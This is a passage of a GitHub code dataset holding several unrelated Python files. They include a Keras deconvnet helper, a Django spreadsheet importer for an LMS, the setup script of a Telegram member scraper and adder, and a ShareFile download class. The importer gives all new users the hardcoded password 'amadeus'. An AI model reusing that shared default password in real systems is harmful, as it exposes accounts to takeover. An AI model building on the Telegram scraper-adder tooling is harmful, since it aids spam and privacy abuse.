name='fc3')(fc2)\n loss = 'categorical_crossentropy'\n metrics = ['categorical_accuracy']\n else:\n fc3 = Dense(1, activation='sigmoid', name='fc3')(fc2)\n loss = 'binary_crossentropy'\n metrics = ['binary_accuracy']\n model = Model(inputs=model.input, outputs=fc3)\n optimizer = SGD(lr=0.001, momentum=0.9)\n model.compile(optimizer=optimizer,\n loss=loss, metrics=metrics)\n return model\n\n\"\"\"Custom keras layers\n\"\"\"\n\ndef pool2d_with_argmax(x, pool_size, strides=(1, 1),\n padding='valid', data_format=None,\n pool_mode='max'):\n \"\"\"2D Pooling.\n\n # Arguments\n x: Tensor or variable.\n pool_size: tuple of 2 integers.\n strides: tuple of 2 integers.\n padding: string, `\"same\"` or `\"valid\"`.\n data_format: string, `\"channels_last\"` or `\"channels_first\"`.\n pool_mode: string, `\"max\"` or `\"avg\"`.\n\n # Returns\n A tensor, result of 2D pooling.\n\n # Raises\n ValueError: if `data_format` is neither `\"channels_last\"` or `\"channels_first\"`.\n ValueError: if `pool_mode` is neither `\"max\"` or `\"avg\"`.\n \"\"\"\n if data_format is None:\n data_format = image_data_format()\n if data_format not in {'channels_first', 'channels_last'}:\n raise ValueError('Unknown data_format ' + str(data_format))\n\n padding = _preprocess_padding(padding)\n strides = (1,) + strides + (1,)\n pool_size = (1,) + pool_size + (1,)\n\n x = _preprocess_conv2d_input(x, data_format)\n\n if pool_mode == 'max':\n x, argmax = tf.nn.max_pool_with_argmax(x, pool_size, strides, padding=padding)\n else:\n raise ValueError('Invalid pooling mode:', pool_mode)\n\n return _postprocess_conv2d_output(x, data_format), argmax\nkeras.backend.tensorflow_backend.pool2d_with_argmax = keras.backend.tensorflow_backend.pool2d\nkeras.backend.tensorflow_backend.pool2d_with_argmax.func_code = keras.backend.tensorflow_backend.pool2d.func_code\n\nclass MaxPooling2DWithArgMax(MaxPooling2D):\n def _pooling_function(self, inputs, pool_size, strides,\n padding, data_format):\n output, argmax = K.pool2d_with_argmax(inputs, pool_size, strides,\n padding, data_format,\n pool_mode='max')\n self.argmax = argmax\n return output\nkeras.layers.pooling.MaxPooling2DWithArgMax = MaxPooling2DWithArgMax\n\ndef get_deconvnet_vgg16(filename):\n import h5py\n import json\n from keras.models import model_from_config\n with h5py.File(filename, 'r') as f:\n model_config = f.attrs.get('model_config')\n if model_config is None:\n raise ValueError('No model found in config file.')\n model_config = json.loads(model_config.decode('utf-8'))\n for layer in model_config['config']['layers']:\n if layer['class_name'] == u'MaxPooling2D':\n layer['class_name'] = u'MaxPooling2DWithArgMax'\n model = model_from_config(model_config, custom_objects=custom_objects)\n f.close()\n model.load_weights(filename)\n model.get_layer('block1_pool1')","repo_name":"ltbyshi/cardiacai","sub_path":"bin/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":16190,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"3359650421","text":"import re, datetime\nfrom django.shortcuts import render, redirect\nfrom pyexcel_xls import get_data as xls_get\nfrom pyexcel_xlsx import get_data as xlsx_get\nfrom django.contrib import messages\nfrom django.utils.dateparse import parse_datetime\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.core.urlresolvers import reverse, reverse_lazy\nfrom django.views.generic.edit import FormView\nfrom django.utils.datastructures import MultiValueDictKeyError\nfrom django.core.exceptions import ValidationError\nfrom django.contrib.auth.hashers import make_password\n\nfrom braces import views as braces_mixins\n\nfrom users.models import User\nfrom categories.models import Category\nfrom subjects.models import Subject, Tag\nfrom students_group.models import StudentsGroup\n\nfrom .forms import ExcelImport\n\n\nclass ParseExcel(\n braces_mixins.LoginRequiredMixin, braces_mixins.StaffuserRequiredMixin, FormView\n):\n login_url = reverse_lazy(\"users:login\")\n redirect_field_name = \"next\"\n\n template_name = \"environment_creation/upload.html\"\n form_class = ExcelImport\n success_url = reverse_lazy(\"excel:import\")\n\n def form_valid(self, form):\n return super().form_valid(form)\n\n def post(self, request, *args, **kwargs):\n try:\n excel_file = request.FILES[\"excelFile\"]\n except MultiValueDictKeyError:\n return redirect(self.get_success_url())\n\n if str(excel_file).split(\".\")[-1] == \"xls\":\n data = xls_get(excel_file, column_limit=15)\n elif str(excel_file).split(\".\")[-1] == \"xlsx\":\n data = xlsx_get(excel_file, column_limit=15)\n\n users = data[\"Usuarios\"]\n categories = data[\"Categorias\"]\n subjects = data[\"Assuntos\"]\n groups = data[\"Grupos\"]\n\n usersList = []\n usersErrors = []\n\n categoriesList = []\n categoriesErrors = []\n\n subjectsList = []\n subjectsErrors = []\n\n groupsList = []\n groupsErrors = []\n\n if len(users) > 1:\n usersList, usersErrors = importUsers(users)\n\n if len(categories) > 1:\n categoriesList, categoriesErrors = importCategories(categories, usersList)\n\n if len(subjects) > 1:\n subjectsList, subjectsErrors = importSubjects(\n subjects, usersList, categoriesList\n )\n\n if len(groups) > 1:\n groupsList, groupsErrors = importGroups(groups, subjectsList, usersList)\n\n messages.success(self.request, _(\"Environment imported successfully!\"))\n\n context = self.get_context_data(**kwargs)\n context[\"usersErrors\"] = usersErrors\n context[\"categoriesErrors\"] = categoriesErrors\n context[\"subjectsErrors\"] = subjectsErrors\n context[\"groupsErrors\"] = groupsErrors\n\n return self.render_to_response(context)\n\n def get_context_data(self, **kwargs):\n context = super(ParseExcel, self).get_context_data(**kwargs)\n\n context[\"title\"] = _(\"Bulk Creation\")\n\n return context\n\n\ndef validateEmail(email):\n try:\n v_email = re.compile(\"[\\w.%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4}\")\n\n if v_email.fullmatch(email) is None:\n return False\n\n return True\n except ValidationError:\n return False\n\n\ndef importUsers(usersSheet):\n usersList = []\n errorsList = []\n\n for user in usersSheet:\n if len(user) > 0:\n if user[0] != \"#\":\n if len(user) < 5:\n i = len(user)\n\n while i < 5:\n user.append(\"\")\n\n i += 1\n\n if validateEmail(user[1]):\n userDB = User.objects.filter(email=user[1])\n\n if not userDB.exists():\n if user[2].strip() != \"\" and user[3].strip() != \"\":\n created = User.objects.create(\n email=user[1],\n username=user[2],\n last_name=user[3],\n is_staff=True if user[4] == \"sim\" else False,\n password=make_password(\"amadeus\"),\n )\n\n usersList.append(created)\n else:\n errorsList.append(\n _(\"Line %s has username or lastname without values\")\n % (user[0])\n )\n usersList.append(None)\n else:\n usersList.append(userDB.get())\n else:\n errorsList.append(_(\"Line %s has no valid email\") % (user[0]))\n usersList.append(None)\n\n return usersList, errorsList\n\n\ndef addCoordinators(category, coords, usersList):\n if len(coords) > 0:\n for coord in coords:\n if len(usersList) >= int(float(coord)):\n user = usersList[int(float(coord)) - 1]\n if not user is None and user.email not in category.coordinators.all().values_list(\n \"email\", flat=True\n ):\n category.coordinators.add(user)\n\n\ndef importCategories(categoriesSheet, usersList):\n categoriesList = []\n errorsList = []\n\n for category in categoriesSheet:\n if len(category) > 0:\n if category[0] != \"#\":\n if len(category) < 5:\n i = len(category)\n\n while i < 5:\n category.append(\"\")\n\n i += 1\n\n if category[1].strip() != \"\":\n categoryDB = Category.objects.filter(\n name__unaccent__iexact=category[1]\n )\n\n coords = str(category[4]).split(\";\")\n\n if not categoryDB.exists():\n categoryDB = Category.objects.create(\n name=category[1],\n description=category[2],\n visible=True if category[3] == \"sim\" else False,\n )\n else:\n categoryDB = categoryDB.get()\n\n addCoordinators(categoryDB, coords, usersList)\n\n categoriesList.append(categoryDB)\n else:\n errorsList.append(\n _(\"Line %s has no value for name\") % (category[0])\n )\n categoriesList.append(None)\n\n return categoriesList, errorsList\n\n\ndef validateSubjectInfo(subject):\n errorsList = []\n\n initSubDate = parse_datetime(str(subject[5]))\n\n if initSubDate is None:\n errorsList.append(\n _(\"Line %s doesn't have a valid subscription init date\") % (subject[0])\n )\n elif initSubDate.date() < datetime.datetime.today().date():\n errorsList.append(\n _(\"Line %s has the subscription init date before today's date\")\n % (subject[0])\n )\n\n endSubDate = parse_datetime(str(subject[6]))\n\n if endSubDate is None:\n errorsList.append(\n _(\"Line %s doesn't have a valid subscription end date\") % (subject[0])\n )\n elif initSubDate is None or endSubDate.date() < initSubDate.date():\n errorsList.append(\n _(\"Line %s has the subscription end date before subscription init date\")\n % (subject[0])\n )\n\n initDate = parse_datetime(str(subject[7]))\n\n if initDate is None:\n errorsList.append(_(\"Line %s doesn't have a valid init date\") % (subject[0]))\n elif endSubDate is None or initDate.date() <= endSubDate.date():\n errorsList.append(\n _(\"Line %s has the init date before or equal subscription end date\")\n % (subject[0])\n )\n\n endDate = parse_datetime(str(subject[8]))\n\n if endDate is None:\n errorsList.append(_(\"Line %s doesn't have a valid end date\") % (subject[0]))\n elif initDate is None or endDate.date() < initDate.date():\n errorsList.append(\n _(\"Line %s has the end date before the init date\") % (subject[0])\n )\n\n return errorsList\n\n\ndef addProfessors(subject, profs, usersList):\n if len(profs) > 0:\n for prof in profs:\n if len(usersList) >= int(float(prof)):\n user = usersList[int(float(prof)) - 1]\n if not user is None and not user.email in subject.professor.all().values_list(\n \"email\", flat=True\n ):\n subject.professor.add(user)\n\n\ndef addStudents(subject, students, usersList):\n if len(students) > 0:\n for student in students:\n if len(usersList) >= int(float(student)):\n user = usersList[int(float(student)) - 1]\n if not user is None and not user.email in subject.students.all().values_list(\n \"email\", flat=True\n ):\n subject.students.add(user)\n\n\ndef addTags(subject, tags):\n if len(tags) > 0:\n for tag in tags:\n tag = tag.strip()\n\n exist = Tag.objects.filter(name=tag).exists()\n\n if exist:\n new_tag = Tag.objects.get(name=tag)\n else:\n new_tag = Tag.objects.create(name=tag)\n\n if not new_tag in subject.tags.all():\n subject.tags.add(new_tag)\n\n\ndef importSubjects(subjectsSheet, usersList, categoriesList):\n subjectsList = []\n errorsList = []\n\n for subject in subjectsSheet:\n if len(subject) > 0:\n if subject[0] != \"#\":\n if len(subject) < 14:\n i = len(subject)\n\n while i < 14:\n subject.append(\"\")\n\n i += 1\n\n errorsValidationList = validateSubjectInfo(subject)\n\n if len(errorsValidationList) == 0:\n if subject[1].strip() != \"\":\n if (\n len(categoriesList) >= int(subject[4])\n and not categoriesList[int(subject[4]) - 1] is None\n ):\n subjectDB = Subject.objects.filter(\n name__unaccent__iexact=subject[1],\n category=categoriesList[int(subject[4]) - 1],\n )\n\n if not subjectDB.exists():\n subjectDB = Subject.objects.create(\n name=subject[1],\n description_brief=subject[2],\n description=subject[3],\n category=categoriesList[int(subject[4]) - 1],\n subscribe_begin=parse_datetime(str(subject[5])),\n subscribe_end=parse_datetime(str(subject[6])),\n init_date=parse_datetime(str(subject[7])),\n end_date=parse_datetime(str(subject[8])),\n visible=True if subject[9] == \"sim\" else False,\n display_avatar=True\n if subject[12] == \"sim\"\n else False,\n )\n else:\n subjectDB = subjectDB.get()\n\n profs = str(subject[10]).split(\";\")\n students = str(subject[11]).split(\";\")\n tags = subject[13].split(\";\")\n\n addProfessors(subjectDB, profs, usersList)\n addStudents(subjectDB, students, usersList)\n addTags(subjectDB, tags)\n\n subjectsList.append(subjectDB)\n else:\n errorsList.append(\n _(\"Line %s has no valid value for course\")\n % (subject[0])\n )\n subjectsList.append(None)\n else:\n errorsList.append(\n _(\"Line %s has no value for name\") % (subject[0])\n )\n subjectsList.append(None)\n else:\n errorsList = errorsList + errorsValidationList\n subjectsList.append(None)\n\n return subjectsList, errorsList\n\n\ndef addParticipants(group, subject, students, usersList):\n if len(students) > 0:\n for student in students:\n if len(usersList) >= int(float(student)):\n user = usersList[int(float(student)) - 1]\n if (\n not user is None\n and user in subject.students.all()\n and not user in group.participants.all()\n ):\n group.participants.add(user)\n\n\ndef importGroups(groupsSheet, subjectsList, usersList):\n groupsList = []\n errorsList = []\n\n for group in groupsSheet:\n if len(group) > 0:\n if group[0] != \"#\":\n if len(group) < 5:\n i = len(group)\n\n while i < 14:\n group.append(\"\")\n\n i += 1\n\n if group[1].strip() != \"\":\n if (\n len(subjectsList) >= int(group[3])\n and not subjectsList[int(group[3]) - 1] is None\n ):\n groupDB = StudentsGroup.objects.filter(\n name__unaccent__iexact=group[1],\n subject=subjectsList[int(group[3]) - 1],\n )\n\n if not groupDB.exists():\n groupDB = StudentsGroup.objects.create(\n name=group[1],\n description=group[2],\n subject=subjectsList[int(group[3]) - 1],\n )\n else:\n groupDB = groupDB.get()\n\n participants = str(group[4]).split(\";\")\n\n addParticipants(\n groupDB, groupDB.subject, participants, usersList\n )\n\n groupsList.append(groupDB)\n else:\n errorsList.append(\n _(\"Line %s has no valid value for subject\") % (group[0])\n )\n groupsList.append(None)\n else:\n errorsList.append(_(\"Line %s has no value for name\") % (group[0]))\n groupsList.append(None)\n\n return groupsList, errorsList\n","repo_name":"amadeusproject/amadeuslms","sub_path":"environment_creation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":15040,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"72"} +{"seq_id":"20132596752","text":"from telethon.sync import TelegramClient\r\nfrom telethon.tl.functions.messages import GetDialogsRequest\r\nfrom telethon.tl.types import InputPeerEmpty, InputPeerChannel, InputPeerUser\r\nfrom telethon.errors.rpcerrorlist import PeerFloodError, UserPrivacyRestrictedError\r\nfrom telethon.tl.functions.channels import InviteToChannelRequest, GetFullChannelRequest\r\nfrom telethon import types, utils, errors\r\nfrom tqdm import tqdm\r\nfrom datetime import date\r\nfrom contextlib import suppress\r\nimport sys\r\nfrom time import sleep\r\nfrom colorama import init\r\nfrom colorama import Fore, Back, Style\r\nimport colorama \r\nimport time \r\nimport sys\r\nimport csv\r\nimport traceback\r\nimport time\r\nimport random\r\nimport os\r\nimport re\r\nimport pickle\r\nimport webbrowser\r\nimport json\r\nimport subprocess\r\nfrom os import system\r\nimport os\r\nos.system(\"title † Maven v1.2 †\")\r\nmaven = \"\"\"\r\n ███▄ ▄███▓ ▄▄▄ ██▒ █▓▓█████ ███▄ █ \r\n ▓██▒▀█▀ ██▒▒████▄ ▓██░ █▒▓█ ▀ ██ ▀█ █ \r\n ▓██ ▓██░▒██ ▀█▄▓██ █▒░▒███ ▓██ ▀█ ██▒ \r\n ▒██ ▒██ ░██▄▄▄▄██▒██ █░░▒▓█ ▄ ▓██▒ ▐▌██▒ \r\n ▒██▒ ░██▒ ▓█ ▓██▒▒▀█░ ░▒████▒▒██░ ▓██░ \r\n ░ ▒░ ░ ░ ▒▒ ▓▒█░░ ▐░ ░░ ▒░ ░░ ▒░ ▒ ▒ \r\n ░ ░ ░ ▒ ▒▒ ░░ ░░ ░ ░ ░░ ░░ ░ ▒░ \r\n ░ ░ ░ ▒ ░░ ░ ░ ░ ░ \r\n ░ ░ ░ ░ ░ ░ ░ \r\n ░ \"\"\"\r\nprint (Fore.BLUE + maven)\r\ntime.sleep(1)\r\ndef _count_generator(reader):\r\n b = reader(1024 * 1024)\r\n while b:\r\n yield b\r\n b = reader(1024 * 1024)\r\n\r\ncount = len(open('phone.csv').readlines( ))\r\nif (count<1):\r\n print(Fore.GREEN+\"No Phone numbers in phone.csv, Run Setup from the begining or open an issue on github.\")\r\n time.sleep(1)\r\n Exit = \"Error Occured, Exitting now...\"\r\n for char in Exit:\r\n sleep(0.1)\r\n sys.stdout.write(Fore.RED+char)\r\n sys.stdout.flush()\r\n exit()\r\nwith open('phone.csv') as f:\r\n num_count = sum(1 for line in open('phone.csv'))\r\n print(Fore.GREEN+'Total Phone Numbers -', num_count)\r\nnumbers = []\r\ndef second():\r\n with open('phone.csv') as f: \r\n lines = f.read()\r\n global first, secondnum\r\n first = lines.split('\\n', 1)[0]\r\n secondnum = lines.split('\\n', 2)[1]\r\n print(\"1:\",(first))\r\n print(\"2:\",(secondnum))\r\n\r\nwith open('phone.csv') as f:\r\n lines = f.read()\r\n first = lines.split('\\n', 1)[0]\r\n if num_count>1:\r\n { second()\r\n }\r\n else:\r\n print(\"1:\",first)\r\nprint(Fore.RED+\"Opening 'Telegram Core' Pannel\")\r\ntime.sleep(2)\r\nwebbrowser.open('https://my.telegram.org/')\r\nprint(Fore.RED+\"Enter the Api ID for\",Fore.YELLOW+(first))\r\ntime.sleep(1)\r\napi1 = input(\"Api ID: \")\r\ntime.sleep(1)\r\nprint(Fore.RED+\"Enter the Api Hash for\",Fore.YELLOW+(first))\r\ntime.sleep(1)\r\nhash1 = input(\"Api Hash: \")\r\ntime.sleep(1)\r\ncount = len(open('phone.csv').readlines( ))\r\nif (count>1):\r\n print(Fore.RED+\"Enter the Api ID for\",Fore.YELLOW+(secondnum))\r\n time.sleep(1)\r\n api2 = input(\"Api ID: \")\r\n time.sleep(1)\r\n print(Fore.RED+\"Enter the Api Hash for\",Fore.YELLOW+(secondnum))\r\n time.sleep(1)\r\n hash2 = input(\"Api Hash: \")\r\n time.sleep(1)\r\n\r\n with open('api.csv', \"w\") as file:\r\n file.write(str(api1)+\",\"+(hash1)+\"\\n\"+(api2)+\",\"+(hash2))\r\n print(Fore.GREEN+\"Api information sucessfully written to file!\")\r\n time.sleep(1)\r\n os.system('cls||clear')\r\n Exit = \"Exitting...\"\r\n for char in Exit:\r\n sleep(0.1)\r\n sys.stdout.write(Fore.GREEN+char)\r\n sys.stdout.flush()\r\n exit()\r\n\r\nwith open('api.csv', \"w\") as file:\r\n file.write(str(api1)+\",\"+(hash1))\r\n print(Fore.GREEN+\"Api information sucessfully written to file!\")\r\n time.sleep(1)\r\n os.system('cls||clear')\r\n Exit = \"Exitting...\"\r\n for char in Exit:\r\n sleep(0.1)\r\n sys.stdout.write(Fore.GREEN+char)\r\n sys.stdout.flush()\r\n exit()","repo_name":"MOD-ID/Maven-Telegram-AIO-Scrapper-and-Adder","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":4570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27374569106","text":"'''common methods'''\nimport configparser\nimport os\nimport sys\nimport json\nimport shutil\nimport requests\nfrom datetime import datetime\nimport re\nimport urllib.parse\nimport sqlite3\nimport typing\nimport traceback # pylint: disable=unused-import\n\nsys.path.append(os.path.abspath(os.path.join(os.path.dirname( __file__ ), '..', '..', \"Globals\")))\nfrom send_email import send_email\nfrom password_encryption import get_password\n\nclass Sweep():\n '''\n sweep_name => name of sweep in config file\n bypass => continue and report on error\n test => ignore database\n '''\n def __init__(self, sweep_name : str, bypass : bool=True, test : bool=False, custom_destination:bool=False):\n self.sweep_name:str = sweep_name\n self.sweep:dict\n self.common:dict\n self.sweep, self.common = self.config()\n self.test:bool = test\n self.bypass:bool = bypass\n self.token:json = self.authenticate()\n self.files:list = self.get_files()\n if custom_destination:\n self.destination:os.PathLike =\\\n os.path.join(self.common[\"server\"], self.sweep['destination'])\n else:\n self.destination:os.PathLike =\\\n os.path.join(self.common[\"server\"], self.common['destination'])\n self.pattern:str = self.sweep['pattern'].replace(\"&\", \"%26\")\n self.date:str = datetime.now().strftime(\"%Y-%m-%d\")\n self.send_email:typing.Callable = send_email\n\n def config(self) -> typing.Tuple[dict, dict]:\n '''setup and file transport'''\n config_file:os.PathLike = os.path.join(os.path.dirname( __file__ ) ,'config.dale')\n config:object = configparser.ConfigParser()\n config.read(config_file)\n client:dict = dict(config.items(self.sweep_name))\n common:dict = dict(config.items(\"COMMON\"))\n return client, common\n\n def get_files(self, database=None) -> list:\n '''get list of doctors'''\n if not database:\n database:os.PathLike=os.path.join(os.path.dirname(__file__), \"filetracker.db\")\n conn = sqlite3.connect(database)\n conn.execute(f'CREATE TABLE IF NOT EXISTS {self.sweep[\"table\"]} (Filename TEXT, Date TEXT)')\n check = conn.execute(f'SELECT Filename FROM {self.sweep[\"table\"]}').fetchall()\n check = [\"\".join(item) for item in check]\n conn.close()\n return check\n\n def track_files(self, name:str, database=None) -> None:\n '''get list of doctors'''\n if self.test:\n return\n if not database:\n database:os.PathLike = os.path.join(os.path.dirname(__file__), \"filetracker.db\")\n conn:object = sqlite3.connect(database)\n conn.execute(f'CREATE TABLE IF NOT EXISTS {self.sweep[\"table\"]} (Filename TEXT, Date TEXT)')\n conn.execute(f'INSERT INTO {self.sweep[\"table\"]} VALUES (?,?)', (name, self.date))\n conn.commit()\n conn.close()\n\n def authenticate(self) -> json:\n '''authenticate session'''\n client_id:str = get_password(\"ClientID\", \"Sharefile API\")\n client_secret:str = get_password(\"ClientSecret\", \"Sharefile API\")\n password:str = get_password(self.common[\"username\"], \"Sharefile API\")\n\n token_url:str = urllib.parse.urljoin(self.common[\"url\"], \"/oauth/token\")\n headers:dict = {'Content-Type' : 'application/x-www-form-urlencoded'}\n data:dict = {\n 'grant_type' : 'password',\n 'username' : self.common[\"username\"],\n 'password' : password,\n }\n response:object = requests.post(\n token_url,\n data=data,\n verify=True,\n auth=(client_id, client_secret),\n headers=headers\n )\n if response.status_code == 200:\n token = json.loads(response.text)\n else:\n self.send_email(\n \"Authentication Error:\\n\\nCheck/Reset Sharefile Credentials and API Password\",\n \"Sharefile API Authentication Error\"\n )\n raise Exception(\"Authentication Error\")\n return token\n\n def check_files(self) -> list:\n '''get list of files'''\n uri_parts:list = [\n 'https://#REMOVED#.sf-api.com/sf/v3/Items(allshared)/ByPath?path=/',\n f'{self.pattern}&$expand=Children'\n ]\n uri_path:str = \"\".join(uri_parts)\n\n response:object = requests.get(\n uri_path,\n headers={'Authorization' : f'Bearer {self.token[\"access_token\"]}'}\n )\n response_list:list = list(json.loads(response.text)['Children'])\n\n return_list:list = [{\"ID\":item[\"Id\"], \"Name\":item[\"Name\"]} for item in response_list]\n\n return return_list\n\n def download_files(self, file_list:list=None):\n '''download files'''\n if not file_list:\n file_list:list = self.check_files()\n track_list:list = file_list.copy()\n if not self.test:\n file_list:list = [item for item in file_list if item[\"Name\"] not in self.files]\n for item in file_list:\n #if item[\"Name\"] not in track_list:\n # self.track_files(item[\"Name\"])\n uri_path = f'https://#REMOVED#.sf-api.com/sf/v3/Items({item[\"ID\"]})/Download'\n with requests.get(\n uri_path,\n stream=True,\n headers={'Authorization' : f'Bearer {self.token[\"access_token\"]}'},\n allow_redirects=True\n ) as response:\n filename = os.path.join(self.destination, self.sweep_name+\"_\"+item[\"Name\"])\n with open(filename, 'wb') as target:\n shutil.copyfileobj(response.raw, target)\n if item[\"Name\"] not in track_list:\n self.track_files(item[\"Name\"])\n\n def move_files(self, target:str):\n '''move file from one folder to another'''\n uri_parts:list = [\n 'https://#REMOVED#.sf-api.com/sf/v3/Items(allshared)/ByPath?path=/',\n f'{self.pattern}&$expand=Children'\n ]\n uri_path:str = \"\".join(uri_parts)\n\n response:object = requests.get(\n uri_path,\n headers={'Authorization' : f'Bearer {self.token[\"access_token\"]}'}\n )\n response_list:list = list(json.loads(response.text)['Children'])\n\n response_list:list = [{\"ID\":item[\"Id\"], \"Name\":item[\"Name\"]} for item in response_list]\n\n target_id:str = [response_list.pop(idx) for idx, item in enumerate(response_list)\n if item[\"Name\"] == target][0]\n\n for item in response_list:\n post_parts:list = [\n f'https://#REMOVED#.sf-api.com/sf/v3/Items({item[\"ID\"]})/',\n f'Copy?targetid={target_id[\"ID\"]}&overwrite=true'\n ]\n post_uri:str = \"\".join(post_parts)\n headers = {\n 'Authorization' : f'Bearer {self.token[\"access_token\"]}',\n \"Content-Type\" : \"application/json\"\n }\n response:object = requests.post(post_uri, headers=headers)\n delete_path:str = f'https://#REMOVED#.sf-api.com/sf/v3/Items({item[\"ID\"]})'\n response:object = requests.delete(delete_path, headers=headers)\n\n def dir_walk(self, skip:list=None):\n '''walk through directories'''\n file_list:list = self.check_files()\n track_list:list = file_list.copy()\n if not self.test:\n file_list:list = [item for item in file_list if item[\"Name\"] not in self.files]\n item:set\n for item in file_list:\n if re.match(r'.*\\.[a-zA-Z]{3}', item['Name']):\n #if item[\"Name\"] not in track_list:\n # self.track_files(item[\"Name\"])\n uri_path = f'https://#REMOVED#.sf-api.com/sf/v3/Items({item[\"ID\"]})/Download'\n with requests.get(\n uri_path,\n stream=True,\n headers={'Authorization' : f'Bearer {self.token[\"access_token\"]}'},\n allow_redirects=True\n ) as response:\n filename = os.path.join(self.destination, self.sweep_name+\"_\"+item[\"Name\"])\n with open(filename, 'wb') as target:\n shutil.copyfileobj(response.raw, target)\n if item[\"Name\"] not in track_list:\n self.track_files(item[\"Name\"])\n else:\n new_token:str = None\n\n dir_name:str = item[\"Name\"]\n\n if skip and dir_name in skip:\n continue\n\n uri_parts:list = [\n f'https://#REMOVED#.sf-api.com/sf/v3/Items({item[\"ID\"]})?$expand=Children'\n ]\n uri_path:str = \"\".join(uri_parts)\n\n try:\n response:object = requests.get(\n uri_path,\n headers={'Authorization' : f'Bearer {self.token[\"access_token\"]}'},\n allow_redirects=True\n )\n except requests.exceptions.ConnectionError:\n new_token:str = self.authenticate()[\"access_token\"]\n response:object = requests.get(\n uri_path,\n headers={'Authorization' : f'Bearer {new_token}'},\n allow_redirects=True\n )\n try:\n response_list:list = list(json.loads(response.text)['Children'])\n except json.decoder.JSONDecodeError:\n new_token:str = self.authenticate()[\"access_token\"]\n response:object = requests.get(\n uri_path,\n headers={'Authorization' : f'Bearer {new_token}'},\n allow_redirects=True\n )\n response_list:list = list(json.loads(response.text)['Children'])\n\n tmp_set:set\n response_list:list = [{\"ID\":tmp_set[\"Id\"], \"Name\":tmp_set[\"Name\"]}\n for tmp_set in response_list]\n\n file_set:set\n for file_set in response_list:\n filename_parts:list = [self.sweep_name, dir_name, file_set[\"Name\"]]\n if \"_\".join(filename_parts) in self.files:\n continue\n #if \"_\".join(filename_parts) not in track_list:\n # self.track_files(\"_\".join(filename_parts))\n uri_parts:list = [\n f'https://#REMOVED#.sf-api.com/sf/v3/Items({file_set[\"ID\"]})',\n '/Download'\n ]\n uri_path = \"\".join(uri_parts)\n if not new_token:\n token:str = self.token[\"access_token\"]\n else:\n token:str = new_token\n with requests.get(\n uri_path,\n stream=True,\n headers={'Authorization' : f'Bearer {token}'},\n allow_redirects=True\n ) as response:\n filename = os.path.join(self.destination, \"_\".join(filename_parts))\n with open(filename, 'wb') as target:\n shutil.copyfileobj(response.raw, target)\n if \"_\".join(filename_parts) not in track_list:\n self.track_files(\"_\".join(filename_parts))\n","repo_name":"timspeer/demo","sub_path":"Sweep/common/methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":11583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14226093720","text":"import base64\nimport io\nimport torch\n\nfrom ts.torch_handler.image_classifier import ImageClassifier\nfrom torchvision import transforms\nfrom PIL import Image\n\n\nclass Resnet50DogBreedsClassifier(ImageClassifier):\n \n topk = 1\n\n image_processing = transforms.Compose([\n transforms.Resize(224),\n transforms.CenterCrop(224),\n transforms.ToTensor()\n ])\n \n def preprocess(self, data):\n \"\"\"The preprocess function of MNIST program converts the input data to a float tensor\n Args:\n data (List): Input data from the request is in the form of a Tensor\n Returns:\n list : The preprocess function returns the input image as a list of float tensors.\n \"\"\"\n images = []\n\n for row in data:\n # Compat layer: normally the envelope should just return the data\n # directly, but older versions of Torchserve didn't have envelope.\n image = row.get(\"data\") or row.get(\"body\")\n if isinstance(image, str):\n # if the image is a string of bytesarray.\n image = base64.b64decode(image)\n\n # If the image is sent as bytesarray\n if isinstance(image, (bytearray, bytes)):\n image = Image.open(io.BytesIO(image)).convert('RGB')\n image = self.image_processing(image)\n else:\n # if the image is a list\n image = torch.FloatTensor(image)\n\n images.append(image)\n\n return torch.stack(images).to(self.device)\n\n","repo_name":"Kiyo5hi/gmwe","sub_path":"models/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26860679484","text":"\"\"\"Helper functions for mainly operating system stuff \"\"\"\n\nimport os\nimport time\nimport logging\n\n_lg = logging.getLogger(__name__)\n\n\ndef wait_for_file_to_become_available(path, timeout_seconds=10):\n \"\"\"\n Wait till a specified file is available for further processing.\n\n This means it waits till the file comes into existence and no other\n application is using the file (as far as we can determine it). This\n function is important for stuff like telling UDK to export something\n and importing it into the 3d-application in the next step.\n\n The function will return True when the file is available, and False\n if the timeout_seconds have passed before the file is available.\n\n \"\"\"\n\n # To determine if the file is still in use, we try to rename it.\n # Windows will give us an exception if the file is not available\n # and, when it is available, if the file is in use by another\n # process.\n\n # Make sure there is nothing blocking from a failed previous attempt.\n TOUCHED_STR = \"touched\"\n renamed_file_path = path + TOUCHED_STR\n if os.path.exists(renamed_file_path):\n os.remove(renamed_file_path)\n\n waited_time = 0\n while True:\n try:\n os.rename(path, renamed_file_path)\n os.rename(renamed_file_path, path)\n return True # File is available for us\n except OSError:\n time.sleep(0.01)\n waited_time += 0.01\n if waited_time > timeout_seconds:\n _lg.error(\"Waited for too long for file to become available: \"\n \"{0}\".format(path))\n return False\n","repo_name":"m2u/m2u","sub_path":"helper/systemhelper.py","file_name":"systemhelper.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"72"} +{"seq_id":"17237928006","text":"\"\"\"\r\nDada uma lista de n números, determinar o MAIOR elemento da lista. Exemplo:\r\nEntrada: [21, 15, 30, 18, -10, 0.333333]\r\nSaída Esperada: 30\r\n\"\"\"\r\n\r\nentrada = [21, 15, 30, 18, -10, 0.333333]\r\nordenado = sorted(entrada, reverse=True)\r\n\r\nprint(ordenado[0])","repo_name":"helenalizo/curso-python-intermediario","sub_path":"aula-01/ex-01/ex01-sol03.py","file_name":"ex01-sol03.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70413247274","text":"import sys\n\nN, C, W = map(int, sys.stdin.readline().split())\nwood = list()\nfor i in 